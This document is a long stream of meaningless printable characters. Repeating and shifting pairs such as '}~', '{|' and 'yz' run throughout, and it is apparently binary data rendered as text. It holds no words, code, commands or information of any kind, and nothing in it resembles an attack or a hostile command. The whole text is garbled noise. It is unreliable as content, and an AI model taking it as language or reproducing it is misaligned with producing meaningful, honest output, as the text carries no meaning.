}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklkljijijijiijijijijhghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPPOPOPOPOMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787656565656565643434343434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklkljijijijiijijijijhghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPPOPOPOPOMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878565555565656565643434343434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklkljijijiiiijijijijhghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOOOOOOPOPOPOPOMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878565656565655555543434343434343434343432121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklkliiijijijijijijijhghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878565656566565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijiiiiiihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOOOOOOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:987878787878565656566565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<9:9:9:9:78787878787878785656565665656565434343434343434321212121212121212121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvutstststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklkjijijijijijhghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:78787878787878785656555565656565434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklijijiiiiijijijijhghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:78787878787878785565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklijijijijijijiiiihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOOOOOOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:78787878787878786565656565555556434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststsrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklijijijijiijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPOPOOOOOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878786565656556565656434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!      }~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmlklklklklijijijijjijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878786565656556565656434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnklklklklklklklklijijijijjijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQPOPOOPOPOPOPMNMNMNMNMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878786565656556565656434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!             - - - - - - - - - -          - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -          - - - - - - - -             - - - - - - - -             - - - - - - - -           - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - - - -         - - - - - - - - - - - -         - - - - - - - - - - - -LLKKJJII - - EEFFGGHHEEDDCCBBeeffgghheeddccbb ,--..//0lmmnnoopmllkkjji-,,++**)TUUVVWWXEDDCCBBA<==>>??@|}}~~]\\[[ZZY$%%&&''(deeffgghuttssrrq54433221 LMMNNOOPMLLKKJJI - - BCCDDEEF43322110``aabbccttssrrqq44332211 MMNNOOPPLLKKJJII - - 55667788uuvvwwxxddccbbaa$$##""!! ]]^^__``||{{zzyy<<;;::99EEFFGGHHTTSSRRQQ--..//00mmnnooppbbaa``__@@AABBCCCBBAA@@? EFFGGHHITSSRRQQP-..//001mnnooppqlkkjjiih,++**))(UVVWWXXYDCCBBAA@=>>??@@A}~~\[[ZZYYX%&&''(()effgghhitssrrqqp43322110`aabbccdeddccbba44556789{||}}~~[[ZZYYXX&&''(())ffgghhiissrrqqpp33221100NNOOPPQQKKJJIIHH - - 66778899vvwwxxyyccbbaa``##""!!  !!^^__``aa{{zzyyxx;;::9988 FFGGHHIIDDCCBBAAHHGGFFEE - - IIJJKKLLAA@@??>>!!""iiooppqqaa``__^^01122334pqqrrsstihhggffe)((''&&%XYYZZ[[\~~}A@@??>>=@AABBCCDYXXWWVVU())**++,hiijjkklqppoonnm100//..-PQQRRSSTIHHGGFFE FGGHHIIJ~~}}||{0//..--, !!""ddeeffggppoonnmm00//..--QQRRSSTTHHGGFFEE99::;;<>==<<; - - IJJKKLLMPOONNMML 12233445qrrssttuhggffeed(''&&%%$YZZ[[\\]~~}}|@??>>==<ABBCCDDEXWWVVUUT)**++,,-ijjkkllmpoonnmml0//..--,deeffggha``__^^]:;;<<==>WWVVUUTT**++,,--jjkkllmmoonnmmll//..--,,RRSSTTUUGGFFEEDD::;;<<==zz{{||}}__^^]]\\""##$$%%bbccddeewwvvuutt77665544 - - JJKKLLMM@@??>>==DDCCBBAA MMNNOOPP==<<;;55##$$%%&&rrssttuu]]\\[[ZZ45566778tuuvvwwxeddccbba%$$##""! \]]^^__`}||{{zzy=<<;;::9DEEFFGGHUTTSSRRQ,--..//0lmmnnoopmllkkjji-,,++**)TUUVVWWXEDDCCBBAJKKLLMMN{zzyyxxw,++**))(##$$%%&&hhiijklmllkkjjii,,++**))UUVVWWXXDDCCBBAA==>>??@@}}~~\\[[ZZYY%%&&''((eeffgghhttssrrqq44332211 MMNNOOPPLLKKJJII - - 55667788uuvvwwxxZZYYXXWW - - HHIIJJKK~~}}|;:987655 MNNOOPPQLKKJJIIH - - 56677889uvvwwxxydccbbaa`$##""!!  !]^^__``a|{{zzyyx<;;::998 EFFGGHHITSSRRQQP-..//001mnnooppqlkkjjiih,++**))(!!"hiiooppq]\\[[ZZY ->??@@AABSSRRQQPP..//0011nnooppqqkkjjiihh++**))((VVWWXXYYCCBBAA@@>>??@@AA~~[[ZZYYXX&&''(())ffgghhiissrrqqpp33221100NNOOPPQQ<<;;5544~~}}@@??>>==QQRRSSTT44332211''(())**vvwwxxyyYYXXWWVV899::;;>=NOOUUVVWwvvuutts(''&&%%$''(())**nooppqqrhhggffee((''&&%%YYZZ[[\\~~}}@@??>>==AABBCCDDXXWWVVUU))**++,,iijjkkllppoonnmm00//..--QQRRSSTTHHGGFFEE99::;;<>==<<BBCCDDEEWWVVUUTT**++,,--jjkkllmmoonnmmll//..--,,RRSSTTUU33221100||{{zzyy<<;;::99UUVVWWXX~~}}||00//..--++,,--..zz{{||}}UUTSRQPO -<==>>??@|}}~~]\\[[ZZY$%%&&''(deeffgghuttssrrq54433221 LMMNNOOPMLLKKJJI - - 45566778tuuvvwwxeddccbba%$$##""! \]]^^__`}||{{zzy=<<;;::9 - - WXXYYZZ[srrqqppo$##""!!++,,--..rssttuuvddccbbaa$$##""!! ]]^^__``||{{zzyy<<;;::99EEFFGGHHTTSSRRQQ--..//00mmnnooppllkkjjii,,++**))UUVVWWXXDDCCBBAA==>>??@@}}~~MMLLKKJJ UUVVWWXXxwwvvuut00//..--UVVWWXXYDCCBBAA@=>>??@@A}~~\[[ZZYYX%&&''(()effgghhitssrrqqp43322110 MNNOOPPQLKKJJIIH - - 56677889uvvwwxxydccbbaa`$##""!! &''(())*uvvwwxxyUOONNMMLFGGHHIIJKKJJIIHH - - 66778899vvwwxxyyccbbaa``##""!!  !!^^__``aa{{zzyyxx;;::9988 FFGGHHIISSRRQQPP..//0011nnooppqqkkjjiihh++**))((VVWWXXYY~~}}||{{//..--,,xxwwvvuu88776655YYZZ[[\\{{zzyyxx,,++**))//001122~~ONNMMLLK - @AABBCCDYXXWWVVU())**++,hiijjkklqppoonnm100//..-PQQRRSSTIHHGGFFE 899::;;>==AABBCCDDIIHHGGFF - - YYZZ[[\\tssrrqqp,,++**))YZZ[[\\]~~}}|@??>>==<ABBCCDDEXWWVVUUT)**++,,-ijjkkllmpoonnmml0//..--,QRRSSTTUHGGFFEED9::;;<<=yzz{{||}`__^^]]\ *++,,--.yzz{{||}LKKJJIIH JKKLLMMNGGFFEEDD::;;<<==zz{{||}}__^^]]\\""##$$%%bbccddeewwvvuutt77665544 - - JJKKLLMMOONNMMLL 22334455rrssttuuggffeedd''&&%%$$ZZ[[\\]]zzyyxxww++**))((ttssrrqq44332211 ]]^^__``wwvvuutt((''&&%%334455;;KJJIIHHGDEEFFGGHUTTSSRRQ,--..//0lmmnnoopmllkkjji-,,++**)TUUVVWWXEDDCCBBA<==>>??@|}}~~]\\[[ZZY$%%&&''(deeffgghuttssrrq54433221_``aabbcfeeddccb33445567z{{||}}~\\[[ZZYY%%&&''((eeffgghhttssrrqq44332211 MMNNOOPPLLKKJJII - - 55667788uuvvwwxxddccbbaa$$##""!! ]]^^__``||{{zzyy<<;;::99EEFFGGHHEEDDCCBB]]^^__``poonmlkj((''&&%% !]^^__``a|{{zzyyx<;;::998 EFFGGHHITSSRRQQP-..//001mnnooppqlkkjjiih,++**))(UVVWWXXYDCCBBAA@=>>??@@A}~~\[[ZZYYX.//00112}~~HGGFFEED - - NOOPQRSTCCBBAA@@>>??@@AA~~[[ZZYYXX&&''(())ffgghhiissrrqqpp33221100NNOOPPQQKKJJIIHH - - 66778899vvwwxxyyccbbaa``##""!!  !!^^__``aavvuuttss''&&%%$$ppoonnmm00//..--!!""##$$aabbccddssrrqqpp$$##""!!<<==>>??GFFEEDDC - - HIIJJKKLQPPOONNM 01122334pqqrrsstihhggffe)((''&&%XYYZZ[[\~~}A@@??>>=@AABBCCDYXXWWVVU())**++,hiijjkklqppoonnm100//..-cddeeffgbaa``__^89:;;<<=~XXWWVVUU))**++,,iijjkkllppoonnmm00//..--QQRRSSTTHHGGFFEE99::;;<>aabbccddiihhggff$$##""!!!""##$$%abbccddexwwvvuut87766554 - - IJJKKLLMPOONNMML 12233445qrrssttuhggffeed(''&&%%$YZZ[[\\]~~}}|@??>>==<ABBCCDDEXWWVVUUT2334455;DCCBBAA@ UUVVWWXX~~}}||??>>==<<BBCCDDEEWWVVUUTT**++,,--jjkkllmmoonnmmll//..--,,RRSSTTUUGGFFEEDD::;;<<==zz{{||}}__^^]]\\""##$$%%bbccddeerrqqppoo##""!!llkkjjii,,++**))%%&&''((eeffgghhooiihhgg@@AABBCCCBBAA@@? LMMNNOOPMLLKKJJI - - 45566778tuuvvwwxeddccbba%$$##""! \]]^^__`}||{{zzy=<<;;::9DEEFFGGHUTTSSRRQ,--..//0lmmnnoopmllkkjji-,,++**)!ghhiioop^]]\\[[Z =>>??@@ATTSSRRQQ--..//00mmnnooppllkkjjii,,++**))UUVVWWXXDDCCBBAA==>>??@@}}~~\\[[ZZYY%%&&''((eeffgghhttssrrqq44332211 MMNNOOPP==<<;;55eeffgghheeddccbb %&&''(()effgghhitssrrqqp43322110 MNNOOPPQLKKJJIIH - - 56677889uvvwwxxydccbbaa`$##""!!  !]^^__``a|{{zzyyx<;;::998 EFFGGHHITSSRRQQP;<<==>>?@??>>==<YYZZ[[\\{{zzyyxx;;::9988 FFGGHHIISSRRQQPP..//0011nnooppqqkkjjiihh++**))((VVWWXXYYCCBBAA@@>>??@@AA~~[[ZZYYXX&&''(())ffgghhiiiihhggffhhggffee((''&&%%))**++,,iijjkkllffeeddccDDEEFFGG?>>==<<;PQQRRSSTIHHGGFFE 899::;;>==AABBCCDDXXWWVVUU))**++,,iijjkkllppoonnmm00//..--QQRRSSTT44332211!!""iiooppqqaa``__^^)**++,,-ijjkkllmpoonnmml0//..--,QRRSSTTUHGGFFEED9::;;<<=yzz{{||}`__^^]]\ !""##$$%abbccddexwwvvuut87766554 - - IJJKKLLMPOONNMML ?@@AABBC<;;55443]]^^__``wwvvuutt77665544 - - JJKKLLMMOONNMMLL 22334455rrssttuuggffeedd''&&%%$$ZZ[[\\]]~~}}||??>>==<<BBCCDDEEWWVVUUTT**++,,--jjkkllmmeeddccbbddccbbaa$$##""!!--..//00mmnnooppbbaa``__HHIIJJKK~~}}|;:987655TUUVVWWXEDDCCBBA<==>>??@|}}~~]\\[[ZZY$%%&&''(deeffgghuttssrrq54433221 LMMNNOOPMLLKKJJI - - 45566778tuuvvwwxeddccbba%$$##""!%&&''(()tuuvvwwxVUUOONNMEFFGGHHILLKKJJII - - 55667788uuvvwwxxddccbbaa$$##""!! ]]^^__``||{{zzyy<<;;::99EEFFGGHHTTSSRRQQ--..//00mmnnooppllkkjjii,,++**))UUVVWWXX~~}}||00//..--##$$%%&&rrssttuu]]\\[[ZZ-..//001mnnooppqlkkjjiih,++**))(UVVWWXXYDCCBBAA@=>>??@@A}~~\[[ZZYYX%&&''(()effgghhitssrrqqp43322110 MNNOOPPQLKKJJIIH - - CDDEEFFG~3221100/aabbccddssrrqqpp33221100NNOOPPQQKKJJIIHH - - 66778899vvwwxxyyccbbaa``##""!!  !!^^__``aa{{zzyyxx;;::9988 FFGGHHIISSRRQQPP..//0011nnooppqqaa``__^^``__^^]] 11223344qqrrsstt^^]]\\[[ LLMMNNOO|{{zzyyx44332211XYYZZ[[\~~}A@@??>>=@AABBCCDYXXWWVVU())**++,hiijjkklqppoonnm100//..-PQQRRSSTIHHGGFFE 899::;;>==<ABBCCDDEXWWVVUUT)**++,,-ijjkkllmpoonnmml0//..--,QRRSSTTUHGGFFEEDGHHIIJJK~}}||{{z/..--,,+ !!""##eeffgghhoonnmmll//..--,,RRSSTTUUGGFFEEDD::;;<<==zz{{||}}__^^]]\\""##$$%%bbccddeewwvvuutt77665544 - - JJKKLLMMOONNMMLL 22334455rrssttuu]]\\[[ZZ \\[[ZZYY55667788uuvvwwxxZZYYXXWW - - UUVVWWXXxwwvvuut00//..-- \]]^^__`}||{{zzy=<<;;::9DEEFFGGHUTTSSRRQ,--..//0lmmnnoopmllkkjji-,,++**)TUUVVWWXEDDCCBBA<==>>??@|}}~~]\\[[ZZY-..//001|}}~~IHHGGFFE - - MNNOOPQRDDCCBBAA==>>??@@}}~~\\[[ZZYY%%&&''((eeffgghhttssrrqq44332211 MMNNOOPPLLKKJJII - - 55667788uuvvwwxxddccbbaa$$##""!! ]]^^__``wwvvuutt((''&&%%++,,--..zz{{||}}UUTSRQPO -56677889uvvwwxxydccbbaa`$##""!!  !]^^__``a|{{zzyyx<;;::998 EFFGGHHITSSRRQQP-..//001mnnooppqlkkjjiih,++**))(UVVWWXXYDCCBBAA@KLLMMNNOzyyxxwwv+**))(('$$%%&&''iijklmnokkjjiihh++**))((VVWWXXYYCCBBAA@@>>??@@AA~~[[ZZYYXX&&''(())ffgghhiissrrqqpp33221100NNOOPPQQKKJJIIHH - - 66778899vvwwxxyyYYXXWWVV - - XXWWVVUU99::;;<>=@AABBCCDYXXWWVVU12233445EDDCCBBA STUUVVWW~~}}@@??>>==AABBCCDDXXWWVVUU))**++,,iijjkkllppoonnmm00//..--QQRRSSTTHHGGFFEE99::;;<>==< OUUVVWWXvuuttssr'&&%%$$#(())**++oppqqrrsggffeedd''&&%%$$ZZ[[\\]]~~}}||??>>==<<BBCCDDEEWWVVUUTT**++,,--jjkkllmmoonnmmll//..--,,RRSSTTUUGGFFEEDD::;;<<==zz{{||}}UUOONNMMTTSSRRQQ==>>??@@}}~~MMLLKKJJ]]^^__``poonmlkj((''&&%%$%%&&''(deeffgghuttssrrq54433221 LMMNNOOPMLLKKJJI - - 45566778tuuvvwwxeddccbba%$$##""! \]]^^__`}||{{zzy=<<;;::9DEEFFGGHUTTSSRRQ5;;<<==>A@@??>>=XXYYZZ[[||{{zzyy<<;;::99EEFFGGHHTTSSRRQQ--..//00mmnnooppllkkjjii,,++**))UUVVWWXXDDCCBBAA==>>??@@}}~~\\[[ZZYY%%&&''((eeffgghhooiihhgg334455;;KJJIIHHG=>>??@@A}~~\[[ZZYYX%&&''(()effgghhitssrrqqp43322110 MNNOOPPQLKKJJIIH - - 56677889uvvwwxxydccbbaa`$##""!!  !]^^__``a|{{zzyyx<;;::998 - - XYYZZ[[\rqqppooi#""!!,,--..//sttuuvvwccbbaa``##""!!  !!^^__``aa{{zzyyxx;;::9988 FFGGHHIISSRRQQPP..//0011nnooppqqkkjjiihh++**))((VVWWXXYYCCBBAA@@>>??@@AA~~LLKKJJII - -PPOONNMM AABBCCDDIIHHGGFFaabbccddiihhggff$$##""!!())**++,hiijjkklqppoonnm100//..-PQQRRSSTIHHGGFFE 899::;;??@@AAB=<<;;554\\]]^^__xxwwvvuu88776655 - - IIJJKKLLPPOONNMM 